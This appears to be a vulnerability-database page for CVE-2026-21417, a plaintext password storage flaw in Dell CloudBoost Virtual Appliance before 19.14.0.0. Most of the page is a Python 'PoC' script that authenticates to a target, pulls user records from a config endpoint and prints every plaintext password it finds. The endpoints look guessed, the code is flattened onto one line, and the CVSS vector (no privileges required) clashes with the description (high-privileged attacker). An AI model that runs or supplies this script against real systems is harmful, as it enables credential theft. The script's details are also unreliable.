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CVE-2026-21417 CVSS 7.0 HIGH

CVE-2026-21417

Published: 2026-01-27 10:15:49
Last Modified: 2026-02-06 20:07:52

Description

Dell CloudBoost Virtual Appliance, versions prior to 19.14.0.0, contains a Plaintext Storage of Password vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:dell:cloudboost_virtual_appliance:*:*:*:*:*:*:*:* - VULNERABLE
Dell CloudBoost Virtual Appliance < 19.14.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21417 PoC - Dell CloudBoost明文密码提取 # 需要高权限账户访问 import requests import json TARGET_HOST = "https://target-cloudboost.example.com" API_ENDPOINT = f"{TARGET_HOST}/api/v1/config" def exploit_cve_2026_21417(): """ CVE-2026-21417 Exploitation: Extract plaintext passwords from Dell CloudBoost Virtual Appliance < 19.14.0.0 """ try: # Step 1: Authenticate with high-privileged account auth_payload = { "username": "admin", "password": "admin_password" } session = requests.Session() auth_response = session.post( f"{TARGET_HOST}/api/v1/auth/login", json=auth_payload, verify=False, timeout=30 ) if auth_response.status_code != 200: print(f"[-] Authentication failed: {auth_response.status_code}") return None print("[+] Authentication successful") # Step 2: Access configuration endpoint to retrieve plaintext passwords config_response = session.get( API_ENDPOINT, params={"section": "users"}, verify=False, timeout=30 ) if config_response.status_code == 200: config_data = config_response.json() print("[+] Configuration data retrieved successfully") # Extract plaintext passwords plaintext_passwords = [] for user in config_data.get("users", []): if "password" in user: plaintext_passwords.append({ "username": user.get("username"), "password": user.get("password"), "role": user.get("role") }) print(f"[+] Found {len(plaintext_passwords)} plaintext passwords") return plaintext_passwords else: print(f"[-] Failed to retrieve config: {config_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": print("CVE-2026-21417 PoC - Dell CloudBoost明文密码漏洞") print("=" * 60) results = exploit_cve_2026_21417() if results: print("\n[+] Extracted credentials:") for cred in results: print(f" User: {cred['username']}, Pass: {cred['password']}, Role: {cred['role']}")

References

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